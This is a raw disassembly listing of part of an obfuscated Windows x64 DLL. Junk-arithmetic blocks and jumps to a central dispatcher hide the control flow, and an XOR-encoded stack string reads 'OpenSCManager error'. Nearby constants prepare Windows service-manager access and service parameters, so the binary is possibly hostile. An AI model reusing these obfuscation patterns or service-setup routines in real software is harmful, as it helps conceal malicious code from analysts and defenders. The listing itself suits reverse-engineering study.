rol eax, 0xcf
popf
pushf
not eax
add eax, 0x96b8e9b9
xor eax, 0xe7465ae5
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe4a4a983
xor eax, 0xf4baa6cf
rol eax, 0x38
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x25495df
pushf
not eax
add eax, 0x945090ed
xor eax, 0xc4792d16
rol eax, 0x22
popf
pushf
not eax
add eax, 0xbd6be9a2
xor eax, 0xab3b6a4e
rol eax, 0x46
popf
pushf
not eax
add eax, 0xecdfecf1
xor eax, 0xd5e11d3d
rol eax, 0xb8
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003e886
mov dword [rbp + rcx + 0xb4], 0xf003f
add dword [rbp + 0x8b4], 4
push rax
pushf
mov eax, 0x3fc7e990
pushf
not eax
add eax, 0xc5565106
xor eax, 0xa27ed53a
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x91990ebd
xor eax, 0xfc4cdeeb
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x84f7e45d
xor eax, 0x94ba56ed
rol eax, 0x26
popf
jmp 0x18003d12e
mov edx, 0x2fc28474
pushf
not edx
add edx, 0x80014cb1
xor edx, 0xff15b36f
rol edx, 6
popf
pushf
not edx
add edx, 0xaf7ad0ed
xor edx, 0xafc1298b
rol edx, 0xfd
popf
pushf
not edx
add edx, 0xe1f7f567
xor edx, 0xae8c9ab5
rol edx, 0x47
popf
lea rcx, [rbp + 0xa0]
call fcn.18002e0cf
test eax, eax
jne 0x18003e924
push rax
pushf
mov eax, 0xab318ba7
pushf
not eax
add eax, 0xee114424
xor eax, 0xfafc1c47
rol eax, 0x51
popf
pushf
not eax
add eax, 0xb01818d6
xor eax, 0xc72d76ef
rol eax, 0x27
popf
pushf
not eax
add eax, 0xff60ace6
xor eax, 0xbad17c15
rol eax, 0x2b
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x9ef23117
pushf
not eax
add eax, 0xba5656db
xor eax, 0xf86ce3a7
rol eax, 0x78
popf
pushf
not eax
add eax, 0xebe814bf
xor eax, 0x87064bf8
rol eax, 0x93
popf
jmp 0x18003d12e
cmp dword [rbp + 0x10b8], 0x18
jne 0x18003e9aa
push rax
pushf
mov eax, 0xd788a9b8
pushf
not eax
add eax, 0x99fe4951
xor eax, 0xba452905
rol eax, 0x65
popf
pushf
not eax
add eax, 0xc0ad7ecf
xor eax, 0x861c4910
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xabcefecd
xor eax, 0x8655e908
rol eax, 0xe9
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xdd71e19f
pushf
not eax
add eax, 0xe8075bfa
xor eax, 0x950acc40
rol eax, 0x66
popf
pushf
not eax
add eax, 0xfac2596b
xor eax, 0xc2d4d2c3
rol eax, 0xa5
popf
jmp 0x18003d12e
cmp dword [rbp + 0x8cc], ebx
je 0x18003ea42
push rax
pushf
mov eax, 0x781432bb
pushf
not eax
add eax, 0xaf66afca
xor eax, 0xf8351ab2
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xced558bc
xor eax, 0xfc619151
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xcdc32e3e
xor eax, 0x9210df50
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xf8b3eb64
xor eax, 0xa7553c6d
rol eax, 0x8a
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xe318e75d
pushf
not eax
add eax, 0xee9714fc
xor eax, 0xb57e2c16
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x80afa064
xor eax, 0xf2613adb
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x97274d03
xor eax, 0xcec90007
rol eax, 0x43
popf
pushf
not eax
add eax, 0xbf363e53
xor eax, 0xdef87a27
rol eax, 0x3b
popf
jmp 0x18003d12e
mov dword [rsp + 0x78], 0x29
xor eax, eax
mov byte [rsp + 0x7c], 0x66
mov byte [rsp + 0x7d], 0x59
mov byte [rsp + 0x7e], 0x4c
mov byte [rsp + 0x7f], 0x47
mov byte [rbp - 0x80], 0x7a
mov byte [rbp - 0x7f], 0x6a
mov byte [rbp - 0x7e], 0x64
mov byte [rbp - 0x7d], 0x48
mov byte [rbp - 0x7c], 0x47
mov byte [rbp - 0x7b], 0x48
mov byte [rbp - 0x7a], 0x4e
mov byte [rbp - 0x79], 0x4c
mov byte [rbp - 0x78], 0x5b
mov byte [rbp - 0x77], 9
mov byte [rbp - 0x76], 0x4c
mov byte [rbp - 0x75], 0x5b
mov byte [rbp - 0x74], 0x5b
mov byte [rbp - 0x73], 0x46
mov byte [rbp - 0x72], 0x5b
mov byte [rbp - 0x71], 0x13
mov byte [rbp - 0x70], 9
mov byte [rbp - 0x6f], 0xc
mov byte [rbp - 0x6e], 0x5c
mov byte [rbp - 0x6d], 0x23
mov byte [rbp - 0x6c], al
movzx eax, byte [rsp + 0x7c]
nop word [rax + rax]
push rax
pushf
mov eax, 0xf9275dab
pushf
not eax
add eax, 0xe6964691
xor eax, 0xfc3ccdca
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xcff5ca36
xor eax, 0x976b390c
rol eax, 5
popf
jmp 0x18003d12e
movsx edx, byte [rsp + rbx + 0x7c]
mov eax, dword [rsp + 0x78]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + rbx + 0x7c], al
inc rbx
cmp rbx, 0x18
jb 0x18003ebc5
push rax
pushf
mov eax, 0x43b4a606
pushf
not eax
add eax, 0xd7697865
xor eax, 0xaf90614c
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xdbc9d11f
xor eax, 0xae861738
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xddacd8ac
xor eax, 0xd8d97d5d
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x908b3186
xor eax, 0xae71be35
rol eax, 0x58
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x97f1a637
pushf
not eax
add eax, 0xe28a47b2
xor eax, 0xb9996004
rol eax, 0x57
popf
pushf
not eax
add eax, 0xa7e9eb11
xor eax, 0x86aa581a
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xedd19efe
xor eax, 0xa483c3b7
rol eax, 9
popf
jmp 0x18003d12e
mov edx, dword [rbp + 0x8cc]
lea rcx, [rsp + 0x7c]
mov byte [rbp - 0x6c], 0
call fcn.18005b649
push rax
pushf
mov eax, 0xbe6a2c95
pushf
not eax
add eax, 0xfca0209d
xor eax, 0xcae03feb
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xfb506ccb
xor eax, 0xfdef7f33
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf954159e
xor eax, 0x8ef106d9
rol eax, 0
popf
pushf
not eax
add eax, 0xab28c9ad
xor eax, 0xa3273a55
rol eax, 0x73
popf
jmp 0x18003d12e
mov rcx, qword [rbp + 0xa0]
jmp 0x18003ec80
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0xbbe95e75
pushf
not eax
add eax, 0x9aac0482
xor eax, 0xe23bc76d
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xbb3cacf1
xor eax, 0xa133f756
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x8e9680cd
xor eax, 0xf975d3cb
rol eax, 0x46
popf
pushf
not eax
add eax, 0xbc9e61c1
xor eax, 0x9ce1ee08
rol eax, 0xfe
popf
jmp 0x18003d12e
mov eax, 0x2725a7cd
pushf
not eax
add eax, 0xde0464e2
xor eax, 0x9707943d
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xbc9a3ade
xor eax, 0x874f2481
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xea665ed1
xor eax, 0xe99e18a9
rol eax, 0xb0
popf
add rsp, 0x25e8
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
movups xmm0, xmmword [rbp + 0x8b8]
mov qword [rsp + 0x25e0], r15
lea rcx, [rbp + 0xb4]
mov r15d, dword [rbp + 0x8c8]
mov r8, rdi
xor edx, edx
mov dword [rbp + 0x90], r15d
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
mov dword [rbp + 0x8b4], ebx
xor edx, edx
lea rcx, [rbp + 0x8b8]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [rbp + 0x8b4]
mov eax, edi
sub eax, ecx
mov dword [rbp + 0x10b8], ebx
mov dword [rbp + 0xac], ebx
mov edx, 0x86a1b840
pushf
not edx
add edx, 0xf80a3125
xor edx, 0xa71d4999
rol edx, 0xba
popf
pushf
not edx
add edx, 0xb743c9c0
xor edx, 0xf32394b4
rol edx, 0xba
popf
pushf
not edx
add edx, 0xcbbeb3fa
xor edx, 0x92cb8a78
rol edx, 0xa
popf
mov dword [rbp + 0xb0], edx
mov dword [rbp - 0x38], r14d
cmp eax, 0x14
jae 0x18003ee85
push rax
pushf
mov eax, 0x84099ae
pushf
not eax
add eax, 0xef3bf9e8
xor eax, 0x894c4c9b
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x94469d95
xor eax, 0xc4921e4c
rol eax, 0x48
popf
pushf
not eax
add eax, 0xdea162e5
xor eax, 0xc8c2c016
rol eax, 0x56
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xf72b71ef
pushf
not eax
add eax, 0x8cd4b26c
xor eax, 0xb10556cf
rol eax, 0x79
popf
pushf
not eax
add eax, 0xfd4ec4ea
xor eax, 0x90856cbc
rol eax, 0xa
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], edx
jmp 0x18003ef9c
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbp + rcx + 0xb4], xmm0
mov dword [rbp + rcx + 0xc4], r15d
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 0x14
mov dword [rbp + 0x8b4], ecx
test edx, edx
je 0x18003ef56
push rax
pushf
mov eax, 0x7b110b1d
pushf
not eax
add eax, 0xfe8f3d81
xor eax, 0xb3b66a4c
rol eax, 0x82
popf
pushf
not eax
add eax, 0xbe4a51c8
xor eax, 0xfb2f310b
rol eax, 0xb2
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xe92c79a
pushf
not eax
add eax, 0x84546c5d
xor eax, 0xcdfb9b5f
rol eax, 0x95
popf
pushf
not eax
add eax, 0x80eaad12
xor eax, 0xbd15e5b7
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xc7588557
xor eax, 0xf43846ba
rol eax, 0x43
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003effe
push rax
pushf
mov eax, 0x4d0974c0
pushf
not eax
add eax, 0xa27e6489
xor eax, 0xcc80bb8e
rol eax, 0x98
popf
pushf
not eax
add eax, 0xe2ab0e40
xor eax, 0xa33c0e18
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xef41beb4
xor eax, 0x98103122
rol eax, 0x57
popf
pushf
not eax
add eax, 0x9c6d014a
xor eax, 0xd1ab4e25
rol eax, 0x94
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x76707974
pushf
not eax
add eax, 0x846d9a94
xor eax, 0xff85e73c
rol eax, 0x91
popf
pushf
not eax
add eax, 0xaf34fcac
xor eax, 0xe2f0e611
rol eax, 0x65
popf
pushf
not eax
add eax, 0xe60aade8
xor eax, 0x97f1bfb2
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x8e234b81
xor eax, 0xd3404792
rol eax, 0x53
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003f122
mov dword [rbp + rcx + 0xb4], r14d
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x19787b06
pushf
not eax
add eax, 0x82500660
xor eax, 0xb75692dc
rol eax, 0xa
popf
pushf
not eax
add eax, 0x8b17fede
xor eax, 0xd7d3637f
rol eax, 0x97
popf
pushf
not eax
add eax, 0xd0a56526
xor eax, 0xc07cb3f2
rol eax, 0x81
popf
jmp 0x18003d12e
mov r15, qword [rsp + 0x25e0]
mov dword [rbp - 0x30], ebx
test edx, edx
je 0x18003f164
push rax
pushf
mov eax, 0xdbd15983
pushf
not eax
add eax, 0xb16ae38e
xor eax, 0xcefb60f3
rol eax, 3
popf
pushf
not eax
add eax, 0x89ffca8c
xor eax, 0xe8e872c3
rol eax, 0x47
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x7dca4d3a
pushf
not eax
add eax, 0xae3ee05f
xor eax, 0xbb5c1749
rol eax, 0x74
popf
pushf
not eax
add eax, 0xcf8370d0
xor eax, 0xa1662e0c
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xa167d1e6
xor eax, 0xddacdc3e
rol eax, 7
popf
pushf
not eax
add eax, 0x8b9ccd32
xor eax, 0xd57aecdd
rol eax, 0x79
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003f1f9
push rax
pushf
mov eax, 0xb0b793b9
pushf
not eax
add eax, 0xa7db8786
xor eax, 0x8cbcf389
rol eax, 0x92
popf
pushf
not eax
add eax, 0xb7209f7d
xor eax, 0xfe0ab100
rol eax, 0x87
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xac7f9df8
pushf
not eax
add eax, 0x86ea168f
xor eax, 0xdd54be6b
rol eax, 0x91
popf
pushf
not eax
add eax, 0x9c5d19ef
xor eax, 0xdb6d5dc5
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xaa876848
xor eax, 0xc5ebc20a
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd250d789
xor eax, 0xdccf91f1
rol eax, 0x18
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003f2e3
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x85497a54
pushf
not eax
add eax, 0xd9df14f9
xor eax, 0xc34e51a3
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xe24f4b23
xor eax, 0xc3ef97f6
rol eax, 0xf7
popf
jmp 0x18003d12e
mov dword [rbp - 0x28], r14d
test edx, edx
je 0x18003f322
push rax
pushf
mov eax, 0x66711049
pushf
not eax
add eax, 0xf7a2ef99
xor eax, 0xcb25bcde
rol eax, 2
popf
pushf
not eax
add eax, 0xf98d94ee
xor eax, 0x95dc06a8
rol eax, 0x6b
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xbd59a1ef
pushf
not eax
add eax, 0xa354fa24
xor eax, 0xfa3a41dc
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x96eb623f
xor eax, 0xde468b6b
rol eax, 0xee
popf
pushf
not eax
add eax, 0xee551b5e
xor eax, 0xfa29472f
rol eax, 5
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003f3ca
push rax
pushf
mov eax, 0x485b2da7
pushf
not eax
add eax, 0xa12749c4
xor eax, 0xc1ee9cee
rol eax, 0x53
popf
pushf
not eax
add eax, 0xc766629b
xor eax, 0x95c8a31f
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xf6b7988d
xor eax, 0xf06fd257
rol eax, 0x41
popf
pushf
not eax
add eax, 0x82a53847
xor eax, 0xc38afd6f
rol eax, 0xaa
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xca48d644
pushf
not eax
add eax, 0x89c15d08
xor eax, 0x8735ca97
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9124bdc2
xor eax, 0xb3272c91
rol eax, 0x58
popf
pushf
not eax
add eax, 0x89748450
xor eax, 0xd7f3c6d8
rol eax, 0xb3
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003f4c8
mov dword [rbp + rcx + 0xb4], r14d
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x6b691915
pushf
not eax
add eax, 0x85578f44
xor eax, 0xe8c22cc1
rol eax, 0x12
popf
pushf
not eax
add eax, 0x8415d33a
xor eax, 0x9adbb8ce
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x879e4932
xor eax, 0xd26e897d
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xc3cd3c81
xor eax, 0xc95fcd74
rol eax, 0x4e
popf
jmp 0x18003d12e
test edx, edx
je 0x18003f4ff
push rax
pushf
mov eax, 0x2c0dbd80
pushf
not eax
add eax, 0xc934cdd2
xor eax, 0x86937d66
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xfe2762db
xor eax, 0x86b5a794
rol eax, 0x86
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x64304aa0
pushf
not eax
add eax, 0xa6407da5
xor eax, 0xdbadd969
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xc161fdb6
xor eax, 0x83fbe8f5
rol eax, 0x28
popf
pushf
not eax
add eax, 0xec5af081
xor eax, 0xed91cd0c
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf6dcc03e
xor eax, 0xbae1b954
rol eax, 1
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp r14d, eax
jbe 0x18003f5b9
push rax
pushf
mov eax, 0x8e595703
pushf
not eax
add eax, 0xf01b0e15
xor eax, 0xd527fe48
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xb91133d2
xor eax, 0xdf98590f
rol eax, 0x68
popf
pushf
not eax
add eax, 0xc1cccf23
xor eax, 0xaa19c9af
rol eax, 0x17
popf
pushf
not eax
add eax, 0xe57f3386
xor eax, 0xae573c0a
rol eax, 0xe7
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x72f49d17
pushf
not eax
add eax, 0xe641f10b
xor eax, 0xc2b0ef26
rol eax, 0x47
popf
pushf
not eax
add eax, 0xfb0e6509
xor eax, 0xfc2f4e30
rol eax, 0x16
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003f6cd
mov dword [rbp - 0x20], ebx
test edx, edx
je 0x18003f72d
push rax
pushf
mov eax, 0x3314aac
pushf
not eax
add eax, 0xfb6d901e
xor eax, 0x80111006
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xd9a2f26d
xor eax, 0xa198e5a3
rol eax, 0x60
popf
pushf
not eax
add eax, 0xf695afcd
xor eax, 0xc52e54af
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xa7ca86e3
xor eax, 0x92640c3b
rol eax, 0x84
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x1d69071b
pushf
not eax
add eax, 0xe75325ec
xor eax, 0xb959afc4
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xbf27b9f7
xor eax, 0xa8b1975a
rol eax, 0xe0
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003f7c2
push rax
pushf
mov eax, 0x326f5ac6
pushf
not eax
add eax, 0xc6dddf6b
xor eax, 0xf82efa6d
rol eax, 0x30
popf
pushf
not eax
add eax, 0xfae3548e
xor eax, 0xe7472b89
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xb9eb59b7
xor eax, 0xe279f9c8
rol eax, 3
popf
pushf
not eax
add eax, 0xd55ee66c
xor eax, 0x81404dac
rol eax, 0xd6
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x2213beb3
pushf
not eax
add eax, 0xf562a905
xor eax, 0xecafa3cb
rol eax, 0xb
popf
pushf
not eax
add eax, 0xda289b47
xor eax, 0xc39bc947
rol eax, 0x4a
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003f8ac
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x6fb03914
pushf
not eax
add eax, 0x9e168133
xor eax, 0xd55e4ec9
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe9d3ec76
xor eax, 0xb7cb859a
rol eax, 0x97
popf
pushf
not eax
add eax, 0xa265d656
xor eax, 0xf44f0228
rol eax, 0x72
popf
jmp 0x18003d12e
mov dword [rbp - 0x18], 0xf01ff
test edx, edx
je 0x18003f90f
push rax
pushf
mov eax, 0xd4074651
pushf
not eax
add eax, 0xfccba1d2
xor eax, 0x9a52f39f
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xff992fe4
xor eax, 0x99275eff
rol eax, 1
popf
pushf
not eax
add eax, 0xf59bb419
xor eax, 0x821beb71
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xf9bf16ef
xor eax, 0xc1daf04f
rol eax, 0x26
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xfea6a900
pushf
not eax
add eax, 0xcd3ad33e
xor eax, 0xe65a7112
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xe4c67b05
xor eax, 0xab5f7e61
rol eax, 0xd3
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003f97e
push rax
pushf
mov eax, 0x2b77724e
pushf
not eax
add eax, 0xd2102d22
xor eax, 0xcf9928fb
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xc759c351
xor eax, 0xad195eae
rol eax, 0xbf
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x2e1c348c
pushf
not eax
add eax, 0xedc6f510
xor eax, 0xaa237033
rol eax, 0x61
popf
pushf
not eax
add eax, 0xbf6e6532
xor eax, 0xfe5b03d1
rol eax, 0x87
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003fa7f
mov dword [rbp + rcx + 0xb4], 0xf01ff
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x4d0b1d41
pushf
not eax
add eax, 0x92402d88
xor eax, 0xdad32c0c
rol eax, 0x47
popf
pushf
not eax
add eax, 0x9e261260
xor eax, 0xd08b2cec
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa8b9ac5b
xor eax, 0xc22bdcbb
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x98df832c
xor eax, 0x8c8bf6c3
rol eax, 2
popf
jmp 0x18003d12e
mov dword [rbp - 0x10], 0x10
test edx, edx
je 0x18003fad0
push rax
pushf
mov eax, 0xe21d5bbc
pushf
not eax
add eax, 0xc7959a93
xor eax, 0x9b713efc
rol eax, 0x11
popf
pushf
not eax
add eax, 0xbef40955
xor eax, 0xbe1f0664
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xf9c79bf6
xor eax, 0xa0974bf5
rol eax, 0x36
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xddb124bd
pushf
not eax
add eax, 0x996ec24b
xor eax, 0xde6fd649
rol eax, 0x44
popf
pushf
not eax
add eax, 0xe9afdd6e
xor eax, 0x8d07a43e
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xc921781a
xor eax, 0xaf3a26d1
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xeb266676
xor eax, 0xea4a2bbd
rol eax, 0x45
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003fb78
push rax
pushf
mov eax, 0x66907bb7
pushf
not eax
add eax, 0xe7c4e2e0
xor eax, 0x96ded01d
rol eax, 0x38
popf
pushf
not eax
add eax, 0xa590789b
xor eax, 0xe39b8a1c
rol eax, 0x70
popf
pushf
not eax
add eax, 0x901ae2c9
xor eax, 0x881b52e5
rol eax, 0x79
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xf379896
pushf
not eax
add eax, 0xef7af5e0
xor eax, 0xde8804ac
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf34d6f49
xor eax, 0xb71bb0d1
rol eax, 0x93
popf
pushf
not eax
add eax, 0x96b5fe3c
xor eax, 0x8dcc0d8d
rol eax, 0x10
popf
pushf
not eax
add eax, 0x8024ef90
xor eax, 0xf06b883f
rol eax, 0xad
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003fc9f
mov dword [rbp + rcx + 0xb4], 0x10
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x1f4955a8
pushf
not eax
add eax, 0xe04499f8
xor eax, 0xc917ef2a
rol eax, 0x67
popf
pushf
not eax
add eax, 0xdbd72ea5
xor eax, 0xe74fb68b
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xa8f41015
xor eax, 0x9350ab0d
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xf630f277
xor eax, 0xbd186ac3
rol eax, 0x8b
popf
jmp 0x18003d12e
mov dword [rbp - 8], 3
test edx, edx
je 0x18003fd03
push rax
pushf
mov eax, 0x369c33e2
pushf
not eax
add eax, 0xa45790bf
xor eax, 0xfe576b45
rol eax, 0x96
popf
pushf
not eax
add eax, 0xedfebc38
xor eax, 0xa1abc9bb
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xf1e950c8
xor eax, 0xb83e45c1
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xeb59738a
xor eax, 0x8fc84581
rol eax, 0x1b
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x56afd775
pushf
not eax
add eax, 0x9168982e
xor eax, 0xec1df3a8
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xcf0582c5
xor eax, 0xfe6b6291
rol eax, 0xba
popf
pushf
not eax
add eax, 0x9292a43f
xor eax, 0xecf01387
rol eax, 0x97
popf
pushf
not eax
add eax, 0xf31b6074
xor eax, 0xad43042c
rol eax, 0xef
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003fd98
mov dword [rbp + 0xac], 1
jmp 0x18003fe99
mov dword [rbp], ebx
test edx, edx
je 0x18003fee6
push rax
pushf
mov eax, 0xab615d33
pushf
not eax
add eax, 0xa5098f3c
xor eax, 0xec807875
rol eax, 0xda
popf
pushf
not eax
add eax, 0xaf3c8d0b
xor eax, 0xe3b694bb
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x9abb7193
xor eax, 0x9d5213cd
rol eax, 0xf9
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xd467023
pushf
not eax
add eax, 0xe2e98dee
xor eax, 0x8b9f4b72
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xdab40090
xor eax, 0x8505e908
rol eax, 0xc3
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003ff55
push rax
pushf
mov eax, 0x11c83573
pushf
not eax
add eax, 0x9ae6d675
xor eax, 0xd66df909
rol eax, 0x41
popf
pushf
not eax
add eax, 0xd2a358d2
xor eax, 0x93bca8c1
rol eax, 0x27
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xecee0ae0
pushf
not eax
add eax, 0xd38acd91
xor eax, 0xedb591d5
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x98154fda
xor eax, 0xfaf084b6
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xc1adb044
xor eax, 0xc1efe09a
rol eax, 0xb
popf
pushf
not eax
add eax, 0xb579321a
xor eax, 0xa73e8536
rol eax, 0xa1
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x180040078
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
push rax
pushf
mov eax, 0x64874216
pushf
not eax
add eax, 0xb1f84c6c
xor eax, 0x88187284
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xc129867e
xor eax, 0xb9cc1313
rol eax, 0x16
popf
pushf
not eax
add eax, 0x869b3481
xor eax, 0x93c209e8
rol eax, 0x79
popf
jmp 0x18003d12e
mov dword [rbp + 8], esi
test edx, edx
je 0x1800400b2
push rax
pushf
mov eax, 0xc22a9a8
pushf
not eax
add eax, 0xb163d65b
xor eax, 0x82809b7b
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xd17cd10a
xor eax, 0xdf32e01a
rol eax, 0xbf
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xd46d9627
pushf
not eax
add eax, 0x9bd9593a
xor eax, 0x836106fa
rol eax, 0xd
popf
pushf
not eax
add eax, 0xc8fb466a
xor eax, 0x9d2f49b4
rol eax, 0xae
popf
pushf
not eax
add eax, 0xea907922
xor eax, 0xce4d7e94
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xd4808a8d
xor eax, 0xc75b7d37
rol eax, 0xff
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x180040147
push rax
pushf
mov eax, 0x8ddd9909
pushf
not eax
add eax, 0xc44b5766
xor eax, 0x8dcecbcb
rol eax, 0x42
popf
pushf
not eax
add eax, 0xa2267475
xor eax, 0x93989e14
rol eax, 0xa5
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xc79c35f5
pushf
not eax
add eax, 0xa837bf44
xor eax, 0xc227c0e6
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xbcac870d
xor eax, 0xf759a0b6
rol eax, 0x14
popf
pushf
not eax
add eax, 0xc275b408
xor eax, 0x86ff20c3
rol eax, 1
popf
pushf
not eax
add eax, 0x9a8fd066
xor eax, 0xcb7c49b0
rol eax, 0x8d
popf
jmp 0x18003d12e
